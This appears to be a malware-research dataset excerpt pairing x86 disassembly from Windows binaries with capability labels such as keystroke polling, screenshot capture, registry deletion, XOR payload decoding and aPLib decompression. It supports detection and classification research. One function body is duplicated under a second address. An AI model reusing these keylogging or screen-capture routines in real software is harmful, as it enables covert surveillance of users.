joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4396bc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x4396ed
je 0x439747
sub eax, 7
je 0x43970e
dec eax
je 0x439738
sub eax, 0x17
je 0x4397c8
jmp 0x439806
add eax, 0xffffff00
sub eax, 9
jb 0x4397b4
add eax, 0xffffff09
sub eax, 0xb
jb 0x43979e
jmp 0x439806
mov eax, ebx
call fcn.004229d0
mov edi, eax
test edi, edi
je 0x439866
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xc8]
test al, al
je 0x43986f
jmp 0x439866
test byte [ebx + 0x44], 0x20
jne 0x43986f
jmp 0x439866
mov edx, esi
mov eax, ebx
call fcn.00437030
cmp dword [esi + 0xc], 0xffffffff
jne 0x43986f
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.00406974
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00435abc
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.0043956c
test eax, eax
je 0x43986f
mov dword [esi + 0xc], 1
jmp 0x43986f
mov edx, esi
mov eax, ebx
call fcn.00439630
test al, al
jne 0x43986f
jmp 0x439866
mov eax, ebx
call fcn.0043669c
test al, al
jne 0x43986f
jmp 0x439866
mov eax, ebx
call fcn.0043bbe8
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x439866
cmp dword [0x44790c], 0
je 0x439866
mov eax, dword [0x44790c]
cmp ebx, dword [eax + 0x24]
jne 0x439866
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x44790c]
call fcn.00436f4c
jmp 0x439866
mov eax, dword [0x4487a8]
cmp byte [eax + 0x20], 0
je 0x439866
mov eax, dword [0x4487a8]
cmp dword [eax + 0x1c], 0
je 0x439866
mov eax, dword [esi]
mov edx, dword [0x4487a8]
cmp eax, dword [edx + 0x1c]
jne 0x439866
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.004228e4
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb9
call fcn.00402f44
jmp 0x43986f
mov edx, esi
mov eax, ebx
call fcn.00437030
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x439d00
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x439d1c
cmp dword [esi + 4], 0
je 0x439d49
test byte [ebx + 0x45], 1
jne 0x439d3b
mov eax, ebx
call fcn.00438de0
test eax, eax
jne 0x439d3b
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x439e59
mov edx, esi
mov eax, ebx
call fcn.00439978
jmp 0x439e59
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x439e52
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043bbe8
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00436f4c
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00439d00
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043bbe8
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x439e59
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x441130
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x441299
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403a28
mov eax, dword [ebp - 0x10]
call fcn.00440ec8
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x441182
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00403e50
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004413f4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x441257
xor eax, eax
push ebp
push 0x441250
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00441008
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.004412a8
test al, al
je 0x44122e
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00403a74
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x44122e
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403dd0
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x441228
mov eax, dword [ebp - 0x14]
call fcn.00403dd0
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00403b44
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.00441130
dec ebx
cmp ebx, 0xffffffff
jne 0x4411e1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x441257
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.00441008
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x10]
call fcn.00403dd0
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.00440ff4
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4412a0
lea eax, [ebp - 0x3c]
call fcn.00403990
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004039b4
ret
Function at 0x441257
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x441299
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403a28
mov eax, dword [ebp - 0x10]
call fcn.00440ec8
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x441182
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00403e50
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004413f4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x441257
xor eax, eax
push ebp
push 0x441250
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00441008
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.004412a8
test al, al
je 0x44122e
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00403a74
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x44122e
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403dd0
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x441228
mov eax, dword [ebp - 0x14]
call fcn.00403dd0
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00403b44
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.00441130
dec ebx
cmp ebx, 0xffffffff
jne 0x4411e1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x441257
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.00441008
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x10]
call fcn.00403dd0
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.00440ff4
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4412a0
lea eax, [ebp - 0x3c]
call fcn.00403990
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004039b4
ret

Function at 0x4412a8
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.00402a74
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x447e94]
cmp byte [edx + 8], 0
je 0x44130c
mov edx, dword [0x447e90]
cmp dword [edx], 2
jne 0x44130c
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret
Function at 0x441350
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4413e1
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, byte [ebp + 8]
call fcn.00440edc
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00403dd0
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x4413cb
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
lea edx, [ebp - 0x10]
mov eax, dword [0x447d00]
call fcn.0040513c
mov ecx, dword [ebp - 0x10]
mov dl, 1
mov eax, dword [0x440e00]
call fcn.00408fe8
call fcn.00403400
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4413e8
lea eax, [ebp - 0x10]
call fcn.00403990
ret
Function at 0x442830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 8]
dec ecx
test ecx, ecx
jl 0x442855
inc ecx
xor esi, esi
mov bl, byte [eax + esi]
xor bl, byte [edx + esi]
mov edi, dword [ebp - 4]
mov byte [edi + esi], bl
inc esi
dec ecx
jne 0x442845
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x10009013
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10009022
pop dword [ebp - 0x14]
mov eax, 0x10009022
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x82eeea45
sub dword [ebp - 0x24], 0x349ca4fa
mov dword [ebp - 0x20], 0x324bd703
add dword [ebp - 0x20], 0xffe77542
mov dword [ebp - 0x1c], 0xcb9be20e
add dword [ebp - 0x1c], 0x80b06220
mov dword [ebp - 0x18], 0xe4cadc1b
add dword [ebp - 0x18], 0x1b3523e5
lea eax, [ebp - 0x24]
push eax
mov eax, 0xb58fd13c
add eax, 0x5a70eee8
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x3f1f3e18
add dword [ebp - 0x24], 0x35532b3e
mov dword [ebp - 0x20], 0x20d7f4cc
sub dword [ebp - 0x20], 0xdf6b9357
mov dword [ebp - 0x1c], 0xc6d447c9
add dword [ebp - 0x1c], 0x9c9b24a3
mov dword [ebp - 0x18], 0x4fa9d1eb
add dword [ebp - 0x18], 0xb0562e15
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x17e17107
sub eax, 0x7e0b0db
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x386a4
push 0
call eax
mov ecx, 0x49c0
xor edi, edi
add edi, eax
mov esi, 0x88e5c6ec
add esi, 0x871ead14
add esi, dword [ebp - 0x14]
mov ebx, 0xef28362a
add dword [ebp - 0x10], edx
mov edx, dword [esi]
xor dword [ebp - 8], 0x8b2e0188
xor edx, ebx
add dword [ebp - 0x10], ecx
mov dword [edi], edx
add dword [ebp - 0xc], 0xe363d1
add edi, 4
add esi, 0xc52c0b9f
add esi, 0x3ad3f465
loop 0x10009135
add eax, 0x119d3
mov ebx, eax
add eax, 0xae99f6c0
sub eax, 0xae99f6bb
mov ecx, 0x452f7a1c
sub ecx, 0x352f7a1c
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10ba00b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.10ba0200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10ba00d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10ba00c2
add dl, dl
jne 0x10ba00e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10ba0134
xor eax, eax
add dl, dl
jne 0x10ba00ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10ba01d5
add dl, dl
jne 0x10ba00fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10ba0108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10ba0113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10ba011e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10ba012a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10ba00cd
mov eax, 1
add dl, dl
jne 0x10ba0142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10ba014d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10ba0139
sub eax, ebx
mov ebx, 1
jne 0x10ba0180
mov ecx, 1
add dl, dl
jne 0x10ba0166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10ba0171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10ba015d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10ba00cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10ba0197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10ba01a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10ba018e
cmp eax, 0x7d00
jae 0x10ba01c5
cmp eax, 0x500
jb 0x10ba01c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10ba00cd
cmp eax, 0x7f
ja 0x10ba01c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10ba00cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10ba01f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10ba00cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x405920
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
movsx eax, byte [esi]
test eax, eax
jne 0x405954
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push esi
call fcn.00405730
add esp, 0x14
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*4]
push eax
call fcn.00405e70
pop ecx
mov ebx, eax
test eax, eax
jne 0x405987
push 1
call fcn.00405410
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
lea eax, [ebx + eax*4]
push eax
push ebx
push esi
call fcn.00405730
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x448508], eax
mov dword [0x448504], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4059c0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 8]
jmp 0x4059f8
or eax, 0xffffffff
inc eax
cmp byte [ebx + eax], 0
jne 0x4059e1
inc eax
mov esi, eax
movsx eax, byte [ebx]
cmp eax, 0x3d
je 0x4059f6
add dword [ebp - 4], esi
add ebx, esi
cmp byte [ebx], 0
jne 0x4059de
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.00405e70
pop ecx
mov edi, eax
mov dword [0x448610], eax
test eax, eax
jne 0x405a1b
push 1
call fcn.00405410
pop ecx
mov ebx, dword [ebp - 8]
jmp 0x405a42
or eax, 0xffffffff
inc eax
cmp byte [ebx + eax], 0
jne 0x405a23
inc eax
mov esi, eax
movsx eax, byte [ebx]
cmp eax, 0x3d
je 0x405a40
push ebx
push edi
call fcn.004066f0
pop ecx
pop ecx
add edi, esi
add ebx, esi
movsx eax, byte [ebx]
test eax, eax
jne 0x405a20
mov byte [edi], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100018fc
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.10001aac
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x100019fa
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x1000199d
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x100019e0
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x100019b4
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x100019cf
test al, 0x40
je 0x100019c6
mov ecx, dword [edi + 0x20]
jmp 0x100019cd
test al, 0x80
je 0x100019e0
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x100019e0
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x1000196c
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x10014829
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 0x11
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 8], esp
je 0x1001486e
push 0x59
push 0x4299b21
push 6
call fcn.1012e0c6
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.1012fd80
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x100148d1
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.1012fa80
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x10
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 8], esp
je 0x100148ff
push 0xfb
push 0x4299b21
push 6
call fcn.1012e0c6
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.1012fd80
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10014962
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.1012fa80
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x12
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 8], esp
je 0x10014990
push 0x19d
push 0x4299b21
push 6
call fcn.1012e0c6
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.1012fd80
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x100149f3
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.1012fa80
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x100149fb
mov esp, ebp
pop ebp
ret
Function at 0x1002d329
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1002d36c
push 0x2b
push 0x429a29d
push 6
call fcn.1012e0c6
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x10177da2]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.10002973
mov dword [ebp - 4], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fmul qword [0x10177dd4]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x10177dd4]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.10002973
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x1bc
call fcn.1012faa0
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1002d3e3
push ebx
call fcn.1012e0c0
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
mov eax, dword [ebp - 8]
test eax, eax
je 0x1002d3f7
add eax, 8
push eax
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1002d421
push 0xbc
push 0x429a29d
push 6
call fcn.1012e0c6
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x1002d43b
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.1012e0ba
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x1002d440
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1002d451
push ebx
call fcn.1012e0c0
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10031294
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], esp
push 0x18
push 1
push dword [0x10187063]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x100312eb
push 0x19
push 0x429a605
push 6
call fcn.1012e0c6
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10031302
mov eax, 0
jmp 0x10031382
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
push dword [0x10187063]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x10031334
push 0xb3
push 0x429a605
push 6
call fcn.1012e0c6
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1003134b
mov eax, 0
jmp 0x10031382
mov dword [ebp - 0x10], esp
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x10031377
push 0x142
push 0x429a605
push 6
call fcn.1012e0c6
add esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
jmp 0x10031382
mov esp, ebp
pop ebp
ret